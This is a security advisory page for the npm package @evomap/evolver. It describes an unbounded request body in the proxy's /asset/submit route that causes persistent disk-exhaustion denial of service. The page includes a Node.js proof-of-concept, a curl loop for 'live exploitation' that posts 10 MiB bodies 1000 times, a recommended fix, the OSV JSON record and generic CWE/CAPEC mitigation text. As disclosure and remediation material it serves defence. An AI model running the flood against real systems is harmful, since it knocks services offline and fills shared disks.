// poc-asset-submit.js
const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');
const {MailboxStore}=require('./src/proxy/mailbox/store');
const {ProxyHttpServer}=require('./src/proxy/server/http');
const {buildRoutes}=require('./src/proxy/server/routes');
(async()=>{
  const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));
  const store=new MailboxStore(dir);
  const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};
  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});
  await srv.start();
  const send=(mb)=>new Promise((res,rej)=>{
    const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';
    const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});
    req.on('error',rej); req.write(body); req.end();
  });
  for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}
  await srv.stop(); fs.rmSync(dir,{recursive:true});
})();

Verified output:

messages.jsonl= 10486078 bytes
messages.jsonl= 20972156 bytes
messages.jsonl= 31458234 bytes

Live exploitation against a running daemon (default port 19820):

printf '{"assets":[{"blob":"%s"}]}' "$(head -c 10485760 /dev/zero | tr '\0' A)" > /tmp/big.json
for i in $(seq 1 1000); do
  curl -s -X POST -H 'Content-Type: application/json' --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit
done

<dataDir>/messages.jsonl grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.

Impact

  • Disk exhaustion of <dataDir> filesystem (default ~/.evomap/mailbox/). Shared filesystems mean co-located services can crash too.
  • Persistent denial of service: on daemon restart, _rebuildIndex() synchronously reads the whole messages.jsonl via fs.readFileSync, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.
  • Memory exhaustion during the attack: Buffer.concat(chunks).toString() materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.
  • Reachable from low-privilege local actors: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.

Recommended Fix

  1. Cap body size in parseBody() (src/proxy/server/http.js):
const MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB

function parseBody(req) {
  return new Promise((resolve, reject) => {
    const declared = Number(req.headers['content-length']);
    if (Number.isFinite(declared) && declared > MAX_BODY_BYTES) {
      const err = new Error('Request body too large');
      err.statusCode = 413;
      return reject(err);
    }
    const chunks = [];
    let received = 0;
    req.on('data', c => {
      received += c.length;
      if (received > MAX_BODY_BYTES) {
        const err = new Error('Request body too large');
        err.statusCode = 413;
        req.destroy();
        return reject(err);
      }
      chunks.push(c);
    });
    req.on('end', () => {
      const raw = Buffer.concat(chunks).toString();
      if (!raw) return resolve({});
      try { resolve(JSON.parse(raw)); }
      catch (e) { reject(new Error('Invalid JSON body')); }
    });
    req.on('error', reject);
  });
}
  1. Add a per-message payload-size budget in MailboxStore.send() / writeInbound() (src/proxy/mailbox/store.js) — reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.

  2. Reject specifically large body.assets[*].blob / body.payload shapes in /asset/submit and /mailbox/send handlers in src/proxy/server/routes.js before calling store.send().

  3. (Defense in depth) In _rebuildIndex(), switch readLines() to a streaming line reader (readline.createInterface over fs.createReadStream) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.70.0-beta.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.70.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:15:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe EvoMap proxy daemon\u0027s HTTP body parser accepts requests of any size, and the `POST /asset/submit` route persists the full request body \u2014 verbatim and uncapped \u2014 as a JSONL line in `\u003cdataDir\u003e/messages.jsonl`. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via `fs.readFileSync`, making the OOM/crash persistent.\n\n## Details\n\n**1. Entry \u2014 unbounded body parser** (`src/proxy/server/http.js:9-21`):\n\n```js\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\nThere is no Content-Length validation and no cumulative-bytes cap on `chunks`.\n\n**2. Route \u2014 no schema or size validation** (`src/proxy/server/routes.js:75-85`):\n\n```js\n\u0027POST /asset/submit\u0027: async ({ body }) =\u003e {\n  if (!body.assets \u0026\u0026 !body.asset_id) {\n    throw Object.assign(new Error(\u0027assets or asset_id is required\u0027), { statusCode: 400 });\n  }\n  const result = store.send({\n    type: \u0027asset_submit\u0027,\n    payload: body,\n    priority: body.priority || \u0027normal\u0027,\n  });\n  return { body: result };\n}\n```\n\nThe full `body` (including arbitrarily large `body.assets[*].blob`) is forwarded to `store.send()` as the message payload. `POST /mailbox/send` has the same shape.\n\n**3. Sink \u2014 unbounded JSONL append** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 71-73\nfunction appendLine(filePath, obj) {\n  fs.appendFileSync(filePath, JSON.stringify(obj) + \u0027\\n\u0027, \u0027utf8\u0027);\n}\n\n// line 189-209: send() builds a message wrapping the payload and calls _appendMessage\n// line 166-171: _appendMessage(msg) -\u003e appendLine(this._messagesFile, msg)\n```\n\nEvery `/asset/submit` or `/mailbox/send` request appends one JSONL line proportional in size to the request body. `compact()` (line 381) only re-writes existing messages; it does not drop or truncate large rows.\n\n**4. Persistence on restart** (`src/proxy/mailbox/store.js`):\n\n```js\n// line 75-86\nfunction readLines(filePath) {\n  if (!fs.existsSync(filePath)) return [];\n  const content = fs.readFileSync(filePath, \u0027utf8\u0027);  // synchronous, full-file\n  ...\n}\n// line 143-164: _rebuildIndex() called from constructor reads every line\n```\n\nA multi-GB `messages.jsonl` will OOM the daemon on every startup, making the DoS persistent across restarts.\n\n**5. Auth model** (`recon.json`, confirmed by inspection of `src/proxy/server/http.js:38` `server.listen(port, \u0027127.0.0.1\u0027, ...)`):\n\n\u003e \"HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) \u2026 No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes.\"\n\nAny local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.\n\n**6. Why not by-design.** The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. `appendFailedCapsule` with `FAILED_CAPSULES_MAX = 200`); the absence of any cap on the mailbox path is inconsistent.\n\n## PoC\n\nRun from the repo root:\n\n```js\n// poc-asset-submit.js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),os=require(\u0027os\u0027),path=require(\u0027path\u0027);\nconst {MailboxStore}=require(\u0027./src/proxy/mailbox/store\u0027);\nconst {ProxyHttpServer}=require(\u0027./src/proxy/server/http\u0027);\nconst {buildRoutes}=require(\u0027./src/proxy/server/routes\u0027);\n(async()=\u003e{\n  const dir=fs.mkdtempSync(path.join(os.tmpdir(),\u0027poc-\u0027));\n  const store=new MailboxStore(dir);\n  const handlers={assetFetch:async()=\u003e({}),assetSearch:async()=\u003e({}),assetValidate:async()=\u003e({}),atpPost:async()=\u003e({}),atpGet:async()=\u003e({})};\n  const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=\u003e{},error:()=\u003e{},warn:()=\u003e{}}});\n  await srv.start();\n  const send=(mb)=\u003enew Promise((res,rej)=\u003e{\n    const body=\u0027{\"assets\":[{\"asset_id\":\"sha256:dead\",\"blob\":\"\u0027+\u0027A\u0027.repeat(mb*1024*1024)+\u0027\"}]}\u0027;\n    const req=http.request({hostname:\u0027127.0.0.1\u0027,port:39922,path:\u0027/asset/submit\u0027,method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027,\u0027Content-Length\u0027:Buffer.byteLength(body)}},r=\u003e{r.resume();r.on(\u0027end\u0027,res);});\n    req.on(\u0027error\u0027,rej); req.write(body); req.end();\n  });\n  for(let i=0;i\u003c3;i++){await send(10);console.log(\u0027messages.jsonl=\u0027,fs.statSync(path.join(dir,\u0027messages.jsonl\u0027)).size,\u0027bytes\u0027);}\n  await srv.stop(); fs.rmSync(dir,{recursive:true});\n})();\n```\n\nVerified output:\n```\nmessages.jsonl= 10486078 bytes\nmessages.jsonl= 20972156 bytes\nmessages.jsonl= 31458234 bytes\n```\n\nLive exploitation against a running daemon (default port 19820):\n```\nprintf \u0027{\"assets\":[{\"blob\":\"%s\"}]}\u0027 \"$(head -c 10485760 /dev/zero | tr \u0027\\0\u0027 A)\" \u003e /tmp/big.json\nfor i in $(seq 1 1000); do\n  curl -s -X POST -H \u0027Content-Type: application/json\u0027 --data-binary @/tmp/big.json http://127.0.0.1:19820/asset/submit\ndone\n```\n\n`\u003cdataDir\u003e/messages.jsonl` grows by ~10 MiB per request with no upper bound. After ~N requests, the disk is full or the daemon OOMs on next restart while reading the file.\n\n## Impact\n\n- **Disk exhaustion** of `\u003cdataDir\u003e` filesystem (default `~/.evomap/mailbox/`). Shared filesystems mean co-located services can crash too.\n- **Persistent denial of service**: on daemon restart, `_rebuildIndex()` synchronously reads the whole `messages.jsonl` via `fs.readFileSync`, OOM-killing the daemon. Operator must manually delete or truncate the file to recover.\n- **Memory exhaustion** during the attack: `Buffer.concat(chunks).toString()` materializes the entire body in memory, so large single requests can also OOM the live daemon before they hit disk.\n- **Reachable from low-privilege local actors**: malicious npm dependency postinstall scripts, other unprivileged users on shared dev hosts, processes in sibling containers sharing the host network namespace.\n\n## Recommended Fix\n\n1. Cap body size in `parseBody()` (`src/proxy/server/http.js`):\n\n```js\nconst MAX_BODY_BYTES = 1 * 1024 * 1024; // 1 MiB\n\nfunction parseBody(req) {\n  return new Promise((resolve, reject) =\u003e {\n    const declared = Number(req.headers[\u0027content-length\u0027]);\n    if (Number.isFinite(declared) \u0026\u0026 declared \u003e MAX_BODY_BYTES) {\n      const err = new Error(\u0027Request body too large\u0027);\n      err.statusCode = 413;\n      return reject(err);\n    }\n    const chunks = [];\n    let received = 0;\n    req.on(\u0027data\u0027, c =\u003e {\n      received += c.length;\n      if (received \u003e MAX_BODY_BYTES) {\n        const err = new Error(\u0027Request body too large\u0027);\n        err.statusCode = 413;\n        req.destroy();\n        return reject(err);\n      }\n      chunks.push(c);\n    });\n    req.on(\u0027end\u0027, () =\u003e {\n      const raw = Buffer.concat(chunks).toString();\n      if (!raw) return resolve({});\n      try { resolve(JSON.parse(raw)); }\n      catch (e) { reject(new Error(\u0027Invalid JSON body\u0027)); }\n    });\n    req.on(\u0027error\u0027, reject);\n  });\n}\n```\n\n2. Add a per-message payload-size budget in `MailboxStore.send()` / `writeInbound()` (`src/proxy/mailbox/store.js`) \u2014 reject messages whose serialized size exceeds e.g. 256 KiB, returning a 413 to the caller.\n\n3. Reject specifically large `body.assets[*].blob` / `body.payload` shapes in `/asset/submit` and `/mailbox/send` handlers in `src/proxy/server/routes.js` before calling `store.send()`.\n\n4. (Defense in depth) In `_rebuildIndex()`, switch `readLines()` to a streaming line reader (`readline.createInterface` over `fs.createReadStream`) so a corrupt or oversized file degrades gracefully instead of OOM-ing on startup.",
  "id": "GHSA-7xp7-m392-h92c",
  "modified": "2026-05-05T21:15:32Z",
  "published": "2026-05-05T21:15:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-7xp7-m392-h92c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.